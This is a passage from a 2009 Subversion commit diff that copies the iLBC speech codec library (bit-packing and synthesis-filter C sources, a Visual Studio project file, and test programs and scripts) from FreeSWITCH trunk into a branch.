+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="src; src\ilbc; src\msvc"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_TGMATH_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				ModuleDefinitionFile="src/msvc/ilbc.def"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="src; src\ilbc; src\msvc"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_TGMATH_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				ModuleDefinitionFile="src/msvc/ilbc.def"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>

Deleted: freeswitch/branches/seven/libs/ilbc/src/packing.c

Copied: freeswitch/branches/seven/libs/ilbc/src/packing.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/packing.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/packing.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/packing.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,170 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * packing.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: packing.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <stdlib.h>
+
+#include "ilbc.h"
+#include "constants.h"
+#include "helpfun.h"
+#include "string.h"
+#include "packing.h"
+
+/*----------------------------------------------------------------*
+ *  splitting an integer into first most significant bits and
+ *  remaining least significant bits
+ *---------------------------------------------------------------*/
+
+void packsplit(int *index,              /* (i) the value to split */
+               int *firstpart,          /* (o) the value specified by most
+                                               significant bits */
+               int *rest,               /* (o) the value specified by least
+                                               significant bits */
+               int bitno_firstpart,     /* (i) number of bits in most
+                                               significant part */
+               int bitno_total)         /* (i) number of bits in full range of value */
+{
+    int bitno_rest = bitno_total - bitno_firstpart;
+
+    *firstpart = *index >> (bitno_rest);
+    *rest = *index - (*firstpart << (bitno_rest));
+}
+
+/*----------------------------------------------------------------*
+ *  combining a value corresponding to msb's with a value
+ *  corresponding to lsb's
+ *---------------------------------------------------------------*/
+
+void packcombine(int *index,        /* (i/o) the msb value in the combined value out */
+                 int rest,          /* (i) the lsb value */
+                 int bitno_rest)    /* (i) the number of bits in the lsb part */
+{
+    *index = *index << bitno_rest;
+    *index += rest;
+}
+
+/*----------------------------------------------------------------*
+ *  packing of bits into bitstream, i.e., vector of bytes
+ *---------------------------------------------------------------*/
+
+void dopack(uint8_t **bitstream,    /* (i/o) on entrance pointer to
+                                             place in bitstream to pack
+                                             new data, on exit pointer
+                                             to place in bitstream to
+                                             pack future data */
+           int index,               /* (i) the value to pack */
+           int bitno,               /* (i) the number of bits that the
+                                           value will fit within */
+           int *pos)                /* (i/o) write position in the
+                                             current byte */
+{
+    int posLeft;
+
+    /* Clear the bits before starting in a new byte */
+    if ((*pos) == 0)
+        **bitstream = 0;
+
+    while (bitno > 0)
+    {
+        /* Jump to the next byte if end of this byte is reached*/
+        if (*pos == 8)
+        {
+            *pos = 0;
+            (*bitstream)++;
+            **bitstream = 0;
+        }
+
+        posLeft = 8 - (*pos);
+
+        /* Insert index into the bitstream */
+        if (bitno <= posLeft)
+        {
+            **bitstream |= (uint8_t) (index << (posLeft - bitno));
+            *pos += bitno;
+            bitno = 0;
+        }
+        else
+        {
+            **bitstream |= (uint8_t) (index >> (bitno - posLeft));
+            *pos = 8;
+            index -= ((index >> (bitno - posLeft)) << (bitno - posLeft));
+            bitno -= posLeft;
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  unpacking of bits from bitstream, i.e., vector of bytes
+ *---------------------------------------------------------------*/
+
+void unpack(const uint8_t **bitstream,  /* (i/o) on entrance pointer to
+                                                 place in bitstream to
+                                                 unpack new data from, on
+                                                 exit pointer to place in
+                                                 bitstream to unpack future
+                                                 data from */
+            int *index,                 /* (o) resulting value */
+            int bitno,                  /* (i) number of bits used to represent the value */
+            int *pos)                   /* (i/o) read position in the current byte */
+{
+    int BitsLeft;
+
+    *index = 0;
+    while (bitno > 0)
+    {
+        /* Move forward in bitstream when the end of the byte is reached */
+        if (*pos == 8)
+        {
+            *pos = 0;
+            (*bitstream)++;
+        }
+
+        BitsLeft = 8 - (*pos);
+
+        /* Extract bits to index */
+        if (BitsLeft >= bitno)
+        {
+            *index += ((((**bitstream) << (*pos)) & 0xFF) >> (8 - bitno));
+
+            *pos += bitno;
+            bitno = 0;
+        }
+        else
+        {
+            if ((8 - bitno) > 0)
+            {
+                *index += ((((**bitstream) << (*pos)) & 0xFF) >> (8 - bitno));
+                *pos = 8;
+            }
+            else
+            {
+                *index += (((int) (((**bitstream) << (*pos)) & 0xFF)) << (bitno - 8));
+                *pos = 8;
+            }
+            bitno -= BitsLeft;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/packing.h

Copied: freeswitch/branches/seven/libs/ilbc/src/packing.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/packing.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/packing.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/packing.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * packing.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: packing.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __PACKING_H
+#define __PACKING_H
+
+void packsplit(int *index,              /* (i) the value to split */
+               int *firstpart,          /* (o) the value specified by most
+                                               significant bits */
+               int *rest,               /* (o) the value specified by least
+                                               significant bits */
+               int bitno_firstpart,     /* (i) number of bits in most
+                                               significant part */
+               int bitno_total          /* (i) number of bits in full range
+                                               of value */
+);
+
+void packcombine(int *index,            /* (i/o) the msb value in the combined value out */
+                 int rest,              /* (i) the lsb value */
+                 int bitno_rest);       /* (i) the number of bits in the lsb part */
+
+void dopack(uint8_t **bitstream,        /* (i/o) on entrance pointer to
+                                                 place in bitstream to pack
+                                                 new data, on exit pointer
+                                                 to place in bitstream to
+                                                 pack future data */
+            int index,                  /* (i) the value to pack */
+            int bitno,                  /* (i) the number of bits that the
+                                               value will fit within */
+            int *pos);                  /* (i/o) write position in the current byte */
+
+void unpack(const uint8_t **bitstream,  /* (i/o) on entrance pointer to
+                                                 place in bitstream to
+                                                 unpack new data from, on
+                                                 exit pointer to place in
+                                                 bitstream to unpack future
+                                                 data from */
+            int *index,                 /* (o) resulting value */
+            int bitno,                  /* (i) number of bits used to
+                                               represent the value */
+            int *pos);                  /* (i/o) read position in the current byte */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/syntFilter.c

Copied: freeswitch/branches/seven/libs/ilbc/src/syntFilter.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/syntFilter.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/syntFilter.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/syntFilter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,77 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * syntFilter.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: syntFilter.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "syntFilter.h"
+
+/*----------------------------------------------------------------*
+ *  LP synthesis filter.
+ *---------------------------------------------------------------*/
+
+void syntFilter(float *Out,     /* (i/o) Signal to be filtered */
+                float *a,       /* (i) LP parameters */
+                int len,        /* (i) Length of signal */
+                float *mem)     /* (i/o) Filter state */
+{
+    int i;
+    int j;
+    float *po;
+    float *pi;
+    float *pa;
+    float *pm;
+
+    po = Out;
+
+    /* Filter first part using memory from past */
+    for (i = 0;  i < ILBC_LPC_FILTERORDER;  i++)
+    {
+        pi = &Out[i - 1];
+        pa = &a[1];
+        pm = &mem[ILBC_LPC_FILTERORDER - 1];
+        for (j = 1;  j <= i;  j++)
+            *po -= (*pa++)*(*pi--);
+        for (j = i + 1;  j < ILBC_LPC_FILTERORDER + 1;  j++)
+            *po -= (*pa++)*(*pm--);
+        po++;
+    }
+
+    /* Filter last part where the state is entirely in
+       the output vector */
+
+    for (i = ILBC_LPC_FILTERORDER;  i < len;  i++)
+    {
+        pi = &Out[i - 1];
+        pa = &a[1];
+        for (j = 1;  j < ILBC_LPC_FILTERORDER + 1;  j++)
+            *po -= (*pa++)*(*pi--);
+        po++;
+    }
+
+    /* Update state vector */
+    memcpy(mem, &Out[len - ILBC_LPC_FILTERORDER], ILBC_LPC_FILTERORDER*sizeof(float));
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/syntFilter.h

Copied: freeswitch/branches/seven/libs/ilbc/src/syntFilter.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/syntFilter.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/syntFilter.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/syntFilter.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * syntFilter.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: syntFilter.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_SYNTFILTER_H
+#define __iLBC_SYNTFILTER_H
+
+void syntFilter(float *Out,     /* (i/o) Signal to be filtered */
+                float *a,       /* (i) LP parameters */
+                int len,        /* (i) Length of signal */
+                float *mem);    /* (i/o) Filter state */
+
+#endif

Copied: freeswitch/branches/seven/libs/ilbc/tests (from rev 14471, freeswitch/trunk/libs/ilbc/tests)

Property changes: freeswitch/branches/seven/libs/ilbc/tests


Name: svn:ignore
   + Makefile.in
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/ilbc/tests/Makefile.am

Copied: freeswitch/branches/seven/libs/ilbc/tests/Makefile.am (from rev 14471, freeswitch/trunk/libs/ilbc/tests/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/tests/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/tests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+##
+## iLBC - a library for the iLBC codec
+##
+## Makefile.am -- Process this file with automake to produce Makefile.in
+##
+## This program is free software; you can redistribute it and/or modify
+## it under the terms of the GNU General Public License version 2, as
+## published by the Free Software Foundation.
+##
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+## GNU General Public License for more details.
+##
+## You should have received a copy of the GNU General Public License
+## along with this program; if not, write to the Free Software
+## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+##
+## $Id: Makefile.am,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+
+AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
+
+LIBS += $(TESTLIBS)
+
+EXTRA_DIST = regression_tests.sh
+
+MAINTAINERCLEANFILES = Makefile.in
+
+INCLUDES = -I$(top_builddir)/src -DDATADIR="\"$(pkgdatadir)\""
+
+LIBDIR = -L$(top_builddir)/src
+
+noinst_PROGRAMS = ilbc_tests
+
+ilbc_tests_SOURCES = ilbc_tests.c
+ilbc_tests_LDADD = $(LIBDIR) -lilbc

Deleted: freeswitch/branches/seven/libs/ilbc/tests/ilbc_tests.c

Copied: freeswitch/branches/seven/libs/ilbc/tests/ilbc_tests.c (from rev 14471, freeswitch/trunk/libs/ilbc/tests/ilbc_tests.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/tests/ilbc_tests.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/tests/ilbc_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,351 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * ilbc_tests.c - Test the iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Copyright (C) The Internet Society (2004).
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: ilbc_tests.c,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+ */
+
+/*! \file */
+
+/*! \page ilbc_tests_page iLBC codec tests
+\section ilbc_tests_page_sec_1 What does it do?
+
+\section ilbc_tests_page_sec_2 How is it used?
+To perform a general audio quality test, ilbc_tests should be run. The file ../localtests/short_nb_voice.wav
+will be compressed to iLBC data, decompressed, and the resulting audio stored in post_ilbc.wav.
+*/
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <math.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <string.h>
+#include <inttypes.h>
+#include <time.h>
+#include <audiofile.h>
+
+#include "ilbc.h"
+
+#define IN_FILE_NAME            "../localtests/dam9.wav"
+#define REF_FILE_NAME           "../localtests/dam9_lpc55.wav"
+#define COMPRESS_FILE_NAME      "lpc10_out.lpc10"
+#define DECOMPRESS_FILE_NAME    "lpc10_in.lpc10"
+#define OUT_FILE_NAME           "post_lpc10.wav"
+
+#define SAMPLE_RATE     8000
+
+/*---------------------------------------------------------------*
+ *  Main program to test iLBC encoding and decoding
+ *
+ *  Usage:
+ *    exefile_name.exe <infile> <bytefile> <outfile> <channel>
+ *
+ *    <infile>   : Input file, speech for encoder (16-bit PCM file)
+ *    <bytefile> : Bit stream output from the encoder
+ *    <outfile>  : Output file, decoded speech (16-bit PCM file)
+ *    <channel>  : Bit error file, optional (16-bit)
+ *                     1 - Packet received correctly
+ *                     0 - Packet Lost
+ *--------------------------------------------------------------*/
+int main(int argc, char *argv[])
+{
+    AFfilehandle inhandle;
+    AFfilehandle refhandle;
+    AFfilehandle outhandle;
+    AFfilesetup filesetup;
+    int frames;
+    int outframes;
+    int compress_file;
+    int decompress_file;
+    float x;
+
+    float starttime;
+    float runtime;
+    float outtime;
+    FILE *ifileid;
+    FILE *efileid;
+    FILE *ofileid;
+    FILE *cfileid;
+    int16_t data[ILBC_BLOCK_LEN_MAX];
+    uint8_t encoded_data[ILBC_NO_OF_BYTES_MAX];
+    int16_t decoded_data[ILBC_BLOCK_LEN_MAX];
+    int len;
+    int16_t pli;
+    int16_t mode;
+    int blockcount = 0;
+    int packetlosscount = 0;
+
+    /* Create structs */
+    ilbc_encode_state_t Enc_Inst;
+    ilbc_decode_state_t Dec_Inst;
+
+    compress_file = -1;
+    decompress_file = -1;
+    inhandle = AF_NULL_FILEHANDLE;
+    refhandle = AF_NULL_FILEHANDLE;
+    outhandle = AF_NULL_FILEHANDLE;
+#if 0
+    if (!decompress)
+    {
+        if ((inhandle = afOpenFile(in_file_name, "r", 0)) == AF_NULL_FILEHANDLE)
+        {
+            fprintf(stderr, "    Cannot open wave file '%s'\n", in_file_name);
+            exit(2);
+        }
+        if ((x = afGetFrameSize(inhandle, AF_DEFAULT_TRACK, 1)) != 2.0)
+        {
+            fprintf(stderr, "    Unexpected frame size in wave file '%s'\n", in_file_name);
+            exit(2);
+        }
+        if ((x = afGetRate(inhandle, AF_DEFAULT_TRACK)) != (float) SAMPLE_RATE)
+        {
+            fprintf(stderr, "    Unexpected sample rate in wave file '%s'\n", in_file_name);
+            exit(2);
+        }
+        if ((x = afGetChannels(inhandle, AF_DEFAULT_TRACK)) != 1.0)
+        {
+            fprintf(stderr, "    Unexpected number of channels in wave file '%s'\n", in_file_name);
+            exit(2);
+        }
+        if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
+        {
+            fprintf(stderr, "    Failed to create file setup\n");
+            exit(2);
+        }
+
+        if ((refhandle = afOpenFile(REF_FILE_NAME, "r", 0)) == AF_NULL_FILEHANDLE)
+        {
+            fprintf(stderr, "    Cannot open wave file '%s'\n", REF_FILE_NAME);
+            exit(2);
+        }
+        if ((x = afGetFrameSize(refhandle, AF_DEFAULT_TRACK, 1)) != 2.0)
+        {
+            fprintf(stderr, "    Unexpected frame size in wave file '%s'\n", REF_FILE_NAME);
+            exit(2);
+        }
+        if ((x = afGetRate(refhandle, AF_DEFAULT_TRACK)) != (float) SAMPLE_RATE)
+        {
+            fprintf(stderr, "    Unexpected sample rate in wave file '%s'\n", REF_FILE_NAME);
+            exit(2);
+        }
+        if ((x = afGetChannels(refhandle, AF_DEFAULT_TRACK)) != 1.0)
+        {
+            fprintf(stderr, "    Unexpected number of channels in wave file '%s'\n", REF_FILE_NAME);
+            exit(2);
+        }
+    }
+    else
+    {
+        if ((decompress_file = open(DECOMPRESS_FILE_NAME, O_RDONLY)) < 0)
+        {
+            fprintf(stderr, "    Cannot open decompressed data file '%s'\n", DECOMPRESS_FILE_NAME);
+            exit(2);
+        }
+    }
+
+    if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
+    {
+        fprintf(stderr, "    Failed to create file setup\n");
+        exit(2);
+    }
+    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
+    afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
+    afInitFileFormat(filesetup, AF_FILE_WAVE);
+    afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
+
+    if ((outhandle = afOpenFile(OUT_FILE_NAME, "w", filesetup)) == AF_NULL_FILEHANDLE)
+    {
+        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+        exit(2);
+    }
+#endif
+
+    if ((argc != 5)  &&  (argc != 6))
+    {
+        fprintf(stderr,
+                "\n*-----------------------------------------------*\n");
+        fprintf(stderr,
+                "   %s <20,30> input encoded decoded (channel)\n\n",
+                argv[0]);
+        fprintf(stderr,
+                "   mode    : Frame size for the encoding/decoding\n");
+        fprintf(stderr,
+                "                 20 - 20 ms\n");
+        fprintf(stderr,
+                "                 30 - 30 ms\n");
+        fprintf(stderr,
+                "   input   : Speech for encoder (16-bit pcm file)\n");
+        fprintf(stderr,
+                "   encoded : Encoded bit stream\n");
+        fprintf(stderr,
+                "   decoded : Decoded speech (16-bit pcm file)\n");
+        fprintf(stderr,
+                "   channel : Packet loss pattern, optional (16-bit)\n");
+        fprintf(stderr,
+                "                  1 - Packet received correctly\n");
+        fprintf(stderr,
+                "                  0 - Packet Lost\n");
+        fprintf(stderr,
+                "*-----------------------------------------------*\n\n");
+        exit(1);
+    }
+    mode = atoi(argv[1]);
+    if (mode != 20  &&  mode != 30)
+    {
+        fprintf(stderr,"Wrong mode %s, must be 20, or 30\n",
+                argv[1]);
+        exit(2);
+    }
+    if ((ifileid = fopen(argv[2],"rb")) == NULL)
+    {
+        fprintf(stderr,"Cannot open input file %s\n", argv[2]);
+        exit(2);
+    }
+    if ((efileid = fopen(argv[3],"wb")) == NULL)
+    {
+        fprintf(stderr, "Cannot open encoded file %s\n",
+                argv[3]);
+        exit(1);
+    }
+    if ((ofileid = fopen(argv[4],"wb")) == NULL)
+    {
+        fprintf(stderr, "Cannot open decoded file %s\n",
+                argv[4]);
+        exit(1);
+    }
+    if (argc == 6)
+    {
+        if( (cfileid=fopen(argv[5],"rb")) == NULL)
+        {
+            fprintf(stderr, "Cannot open channel file %s\n",
+                    argv[5]);
+            exit(1);
+        }
+    }
+    else
+    {
+        cfileid=NULL;
+    }
+
+    /* print info */
+
+    fprintf(stderr, "\n");
+    fprintf(stderr,
+            "*---------------------------------------------------*\n");
+    fprintf(stderr,
+            "*                                                   *\n");
+    fprintf(stderr,
+            "*      iLBC test program                            *\n");
+    fprintf(stderr,
+            "*                                                   *\n");
+    fprintf(stderr,
+            "*                                                   *\n");
+    fprintf(stderr,
+            "*---------------------------------------------------*\n");
+    fprintf(stderr, "\nMode           : %2d ms\n", mode);
+    fprintf(stderr, "Input file     : %s\n", argv[2]);
+    fprintf(stderr, "Encoded file   : %s\n", argv[3]);
+    fprintf(stderr, "Output file    : %s\n", argv[4]);
+    if (argc == 6)
+        fprintf(stderr,"Channel file   : %s\n", argv[5]);
+    fprintf(stderr, "\n");
+
+    /* Initialization */
+
+    ilbc_encode_init(&Enc_Inst, mode);
+    ilbc_decode_init(&Dec_Inst, mode, 1);
+
+    /* Runtime statistics */
+    starttime = clock()/(float)CLOCKS_PER_SEC;
+
+    /* Loop over input blocks */
+    while (fread(data, sizeof(int16_t), Enc_Inst.blockl, ifileid) == Enc_Inst.blockl)
+    {
+        blockcount++;
+
+        /* Encoding */
+        fprintf(stderr, "--- Encoding block %i --- ",blockcount);
+        len = ilbc_encode(&Enc_Inst, encoded_data, data, Enc_Inst.blockl);
+        fprintf(stderr, "\r");
+
+        /* Write byte file */
+        fwrite(encoded_data, sizeof(uint8_t), len, efileid);
+
+        /* Get channel data if provided */
+        if (argc == 6)
+        {
+            if (fread(&pli, sizeof(int16_t), 1, cfileid))
+            {
+                if ((pli != 0)  &&  (pli != 1))
+                {
+                    fprintf(stderr, "Error in channel file\n");
+                    exit(0);
+                }
+                if (pli == 0)
+                {
+                    /* Packet loss -> remove info from frame */
+                    memset(encoded_data, 0, len);
+                    packetlosscount++;
+                }
+            }
+            else
+            {
+                fprintf(stderr, "Error. Channel file too int16_t\n");
+                exit(0);
+            }
+        }
+        else
+        {
+            pli = 1;
+        }
+
+        /* Decoding */
+        fprintf(stderr, "--- Decoding block %i --- ", blockcount);
+
+        if (pli)
+            len = ilbc_decode(&Dec_Inst, decoded_data, encoded_data, len);
+        else
+            len = ilbc_fillin(&Dec_Inst, decoded_data, len);
+        fprintf(stderr, "\r");
+
+        /* Write output file */
+        fwrite(decoded_data, sizeof(int16_t), len, ofileid);
+    }
+
+    /* Runtime statistics */
+    runtime = (float) (clock()/(float) CLOCKS_PER_SEC - starttime);
+    outtime = (float) ((float) blockcount*(float) mode/1000.0f);
+    printf("\n\nLength of speech file: %.1f s\n", outtime);
+    printf("Packet loss          : %.1f%%\n",
+           100.0f*(float) packetlosscount/(float) blockcount);
+    printf("Time to run iLBC     :");
+    printf(" %.1f s (%.1f%% of realtime)\n\n", runtime, 100.0f*runtime/outtime);
+
+    /* close files */
+    fclose(ifileid);
+    fclose(efileid);
+    fclose(ofileid);
+    if (argc == 6)
+        fclose(cfileid);
+    return(0);
+}

Deleted: freeswitch/branches/seven/libs/ilbc/tests/regression_tests.sh

Copied: freeswitch/branches/seven/libs/ilbc/tests/regression_tests.sh (from rev 14471, freeswitch/trunk/libs/ilbc/tests/regression_tests.sh) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/tests/regression_tests.sh	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/tests/regression_tests.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,108 @@
+#!/bin/sh
+#
+# iLBC - a library for the iLBC codec
+#
+# regression_tests.sh
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2, as
+# published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+#
+# $Id: regression_tests.sh,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+#
+
+STDOUT_DEST=xyzzy
+STDERR_DEST=xyzzy2
+
+echo Performing basic iLBC regression tests
+echo
+
+./ilbc_tests 20 ../localtests/iLBC.INP iLBC_20ms.BIT iLBC_20ms_clean.OUT ../localtests/clean.chn >$STDOUT_DEST 2>$STDERR_DEST
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo ilbc_tests 20ms clean failed!
+    exit $RETVAL
+fi
